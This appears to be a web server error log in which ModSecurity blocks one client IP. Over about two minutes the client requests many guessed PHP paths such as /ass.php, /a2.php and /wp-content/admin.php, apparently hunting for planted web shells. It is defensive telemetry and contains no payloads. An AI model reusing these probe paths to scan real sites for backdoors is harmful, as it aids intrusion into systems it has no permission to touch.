[Sun Apr 26 04:43:54.503838 2026] [:error] [pid 41906:tid 41911] [client 20.91.188.120:4353] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "ae0nij3-0A3lxw9OXoDj_gAAAYM"]
[Sun Apr 26 04:43:55.916659 2026] [:error] [pid 31273:tid 31339] [client 20.91.188.120:44118] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "ae0ni_hcNJEGrATcuEep6QAAAUM"]
[Sun Apr 26 04:43:58.052899 2026] [:error] [pid 10315:tid 10328] [client 20.91.188.120:16197] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "ae0njqJIw2vjkleLIaB0jAAAAQs"]
[Sun Apr 26 04:44:01.476211 2026] [:error] [pid 8491:tid 8503] [client 20.91.188.120:34115] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "ae0nkSq7I7e6CJooQM16HwAAAMQ"]
[Sun Apr 26 04:44:03.051121 2026] [:error] [pid 8491:tid 8504] [client 20.91.188.120:51721] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "ae0nkyq7I7e6CJooQM16IgAAAMU"]
[Sun Apr 26 04:44:04.071431 2026] [:error] [pid 8491:tid 8507] [client 20.91.188.120:62865] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "ae0nlCq7I7e6CJooQM16KAAAAMg"]
[Sun Apr 26 04:44:24.529427 2026] [:error] [pid 8491:tid 8506] [client 20.91.188.120:51737] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fvvff.php"] [unique_id "ae0nqCq7I7e6CJooQM16TgAAAMc"]
[Sun Apr 26 04:44:26.224815 2026] [:error] [pid 8491:tid 8508] [client 20.91.188.120:44712] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fvvff.php"] [unique_id "ae0nqiq7I7e6CJooQM16UAAAAMk"]
[Sun Apr 26 04:44:27.492868 2026] [:error] [pid 10315:tid 10323] [client 20.91.188.120:44682] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fvvff.php"] [unique_id "ae0nq6JIw2vjkleLIaB0vQAAAQY"]
[Sun Apr 26 04:44:29.563116 2026] [:error] [pid 41906:tid 41908] [client 20.91.188.120:4931] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fvvff.php"] [unique_id "ae0nrT3-0A3lxw9OXoDkIQAAAYA"]
[Sun Apr 26 04:44:30.753018 2026] [:error] [pid 8385:tid 8438] [client 20.91.188.120:34039] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "ae0nrjOy7_J84Wx3-oxPwgAAAE4"]
[Sun Apr 26 04:44:31.899360 2026] [:error] [pid 8390:tid 8459] [client 20.91.188.120:12289] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "ae0nr4GPtFK_i9p5yxT_3wAAAIg"]
[Sun Apr 26 04:44:32.782631 2026] [:error] [pid 8383:tid 8413] [client 20.91.188.120:34733] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "ae0nsNFa2S3EsATMdWOwFAAAABA"]
[Sun Apr 26 04:44:34.967043 2026] [:error] [pid 8491:tid 8501] [client 20.91.188.120:34697] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "ae0nsiq7I7e6CJooQM16VgAAAMI"]
[Sun Apr 26 04:44:36.474746 2026] [:error] [pid 8491:tid 8514] [client 20.91.188.120:44458] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "ae0ntCq7I7e6CJooQM16WQAAAM8"]
[Sun Apr 26 04:44:38.000196 2026] [:error] [pid 31273:tid 31344] [client 20.91.188.120:4332] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "ae0ntfhcNJEGrATcuEeqKQAAAUY"]
[Sun Apr 26 04:44:39.086744 2026] [:error] [pid 8390:tid 8470] [client 20.91.188.120:65226] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "ae0nt4GPtFK_i9p5yxT_5gAAAJM"]
[Sun Apr 26 04:44:40.632079 2026] [:error] [pid 8491:tid 8508] [client 20.91.188.120:65275] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "ae0nuCq7I7e6CJooQM16XwAAAMk"]
[Sun Apr 26 04:44:41.789743 2026] [:error] [pid 8385:tid 8427] [client 20.91.188.120:62459] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "ae0nuTOy7_J84Wx3-oxPzgAAAEM"]
[Sun Apr 26 04:44:43.333884 2026] [:error] [pid 41906:tid 41927] [client 20.91.188.120:55308] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "ae0nuz3-0A3lxw9OXoDkNQAAAZM"]
[Sun Apr 26 04:44:44.634923 2026] [:error] [pid 8390:tid 8471] [client 20.91.188.120:20048] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "ae0nvIGPtFK_i9p5yxT_6QAAAJQ"]
[Sun Apr 26 04:44:45.783359 2026] [:error] [pid 8491:tid 8505] [client 20.91.188.120:55315] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "ae0nvSq7I7e6CJooQM16ZAAAAMY"]
[Sun Apr 26 04:44:46.767836 2026] [:error] [pid 10315:tid 10327] [client 20.91.188.120:43201] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "ae0nvqJIw2vjkleLIaB0zQAAAQo"]
[Sun Apr 26 04:44:48.028536 2026] [:error] [pid 41906:tid 41915] [client 20.91.188.120:34708] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "ae0nwD3-0A3lxw9OXoDkRQAAAYc"]
[Sun Apr 26 04:44:49.380902 2026] [:error] [pid 31273:tid 31353] [client 20.91.188.120:47846] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "ae0nwfhcNJEGrATcuEeqNwAAAU4"]
[Sun Apr 26 04:44:51.485269 2026] [:error] [pid 8390:tid 8466] [client 20.91.188.120:18880] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "ae0nw4GPtFK_i9p5yxQABQAAAI8"]
[Sun Apr 26 04:44:52.551674 2026] [:error] [pid 31273:tid 31337] [client 20.91.188.120:55349] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "ae0nxPhcNJEGrATcuEeqOwAAAUI"]
[Sun Apr 26 04:44:54.958160 2026] [:error] [pid 8390:tid 8452] [client 20.91.188.120:50810] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "ae0nxoGPtFK_i9p5yxQADQAAAIE"]
[Sun Apr 26 04:44:59.798381 2026] [:error] [pid 8491:tid 8503] [client 20.91.188.120:20085] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "ae0nyyq7I7e6CJooQM16fAAAAMQ"]
[Sun Apr 26 04:45:04.880897 2026] [:error] [pid 10315:tid 10318] [client 20.91.188.120:29380] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "ae0n0KJIw2vjkleLIaB0-gAAAQE"]
[Sun Apr 26 04:45:11.997858 2026] [:error] [pid 10315:tid 10323] [client 20.91.188.120:42555] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "ae0n16JIw2vjkleLIaB1BgAAAQY"]
[Sun Apr 26 04:45:13.791339 2026] [:error] [pid 8491:tid 8508] [client 20.91.188.120:57123] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "ae0n2Sq7I7e6CJooQM16mAAAAMk"]
[Sun Apr 26 04:45:14.660716 2026] [:error] [pid 31273:tid 31349] [client 20.91.188.120:57131] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "ae0n2vhcNJEGrATcuEeqfQAAAUo"]
[Sun Apr 26 04:45:15.635998 2026] [:error] [pid 10315:tid 10339] [client 20.91.188.120:47796] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "ae0n26JIw2vjkleLIaB1CwAAARY"]
[Sun Apr 26 04:45:16.459930 2026] [:error] [pid 8491:tid 8504] [client 20.91.188.120:18924] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "ae0n3Cq7I7e6CJooQM16mQAAAMU"]
[Sun Apr 26 04:45:19.498070 2026] [:error] [pid 31273:tid 31353] [client 20.91.188.120:63388] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "ae0n3_hcNJEGrATcuEeqfwAAAU4"]
[Sun Apr 26 04:45:42.717706 2026] [:error] [pid 31273:tid 31363] [client 20.91.188.120:28694] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "ae0n9vhcNJEGrATcuEeqpgAAAVg"]
[Sun Apr 26 04:45:43.515974 2026] [:error] [pid 10315:tid 10317] [client 20.91.188.120:13551] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "ae0n96JIw2vjkleLIaB1GwAAAQA"]
[Sun Apr 26 04:45:44.783062 2026] [:error] [pid 8385:tid 8448] [client 20.91.188.120:63979] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "ae0n-DOy7_J84Wx3-oxQHwAAAFg"]
[Sun Apr 26 04:45:46.748517 2026] [:error] [pid 8491:tid 8499] [client 20.91.188.120:63978] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "ae0n-iq7I7e6CJooQM16rgAAAMA"]
[Sun Apr 26 04:45:48.487953 2026] [:error] [pid 41906:tid 41920] [client 20.91.188.120:59091] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/"] [unique_id "ae0n_D3-0A3lxw9OXoDktgAAAYw"]
[Sun Apr 26 04:45:49.472591 2026] [:error] [pid 8383:tid 8408] [client 20.91.188.120:64575] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/"] [unique_id "ae0n_dFa2S3EsATMdWOwMAAAAAs"]
[Sun Apr 26 04:45:50.143807 2026] [:error] [pid 41906:tid 41932] [client 20.91.188.120:31937] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/"] [unique_id "ae0n_j3-0A3lxw9OXoDkvwAAAZg"]
[Sun Apr 26 04:45:51.113055 2026] [:error] [pid 10315:tid 10328] [client 20.91.188.120:64535] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/"] [unique_id "ae0n_6JIw2vjkleLIaB1KAAAAQs"]
[Sun Apr 26 04:45:54.154120 2026] [:error] [pid 8390:tid 8475] [client 20.91.188.120:26870] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "ae0oAoGPtFK_i9p5yxQAPwAAAJg"]
[Sun Apr 26 04:45:56.191683 2026] [:error] [pid 41906:tid 41908] [client 20.91.188.120:64551] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "ae0oBD3-0A3lxw9OXoDk6gAAAYA"]
[Sun Apr 26 04:45:56.973495 2026] [:error] [pid 41906:tid 41921] [client 20.91.188.120:54979] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "ae0oBD3-0A3lxw9OXoDk9AAAAY0"]
[Sun Apr 26 04:45:58.172014 2026] [:error] [pid 10315:tid 10324] [client 20.91.188.120:4134] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "ae0oBqJIw2vjkleLIaB1QQAAAQc"]
[Sun Apr 26 04:45:59.346340 2026] [:error] [pid 10315:tid 10322] [client 20.91.188.120:63538] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "ae0oB6JIw2vjkleLIaB1RwAAAQU"]
[Sun Apr 26 04:46:00.339413 2026] [:error] [pid 8491:tid 8523] [client 20.91.188.120:4490] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "ae0oCCq7I7e6CJooQM16twAAANc"]
[Sun Apr 26 04:46:01.714582 2026] [:error] [pid 8491:tid 8504] [client 20.91.188.120:49423] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "ae0oCSq7I7e6CJooQM16uQAAAMU"]
[Sun Apr 26 04:46:03.212009 2026] [:error] [pid 8385:tid 8428] [client 20.91.188.120:4147] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "ae0oCzOy7_J84Wx3-oxQKAAAAEQ"]
[Sun Apr 26 04:46:03.992779 2026] [:error] [pid 41906:tid 41912] [client 20.91.188.120:4501] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "ae0oCz3-0A3lxw9OXoDlJwAAAYQ"]
[Sun Apr 26 04:46:04.822347 2026] [:error] [pid 41906:tid 41917] [client 20.91.188.120:56846] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "ae0oDD3-0A3lxw9OXoDlLAAAAYk"]
[Sun Apr 26 04:46:06.159644 2026] [:error] [pid 8390:tid 8469] [client 20.91.188.120:55009] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "ae0oDoGPtFK_i9p5yxQATAAAAJI"]
[Sun Apr 26 04:46:06.977512 2026] [:error] [pid 10315:tid 10325] [client 20.91.188.120:65199] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "ae0oDqJIw2vjkleLIaB1XQAAAQg"]
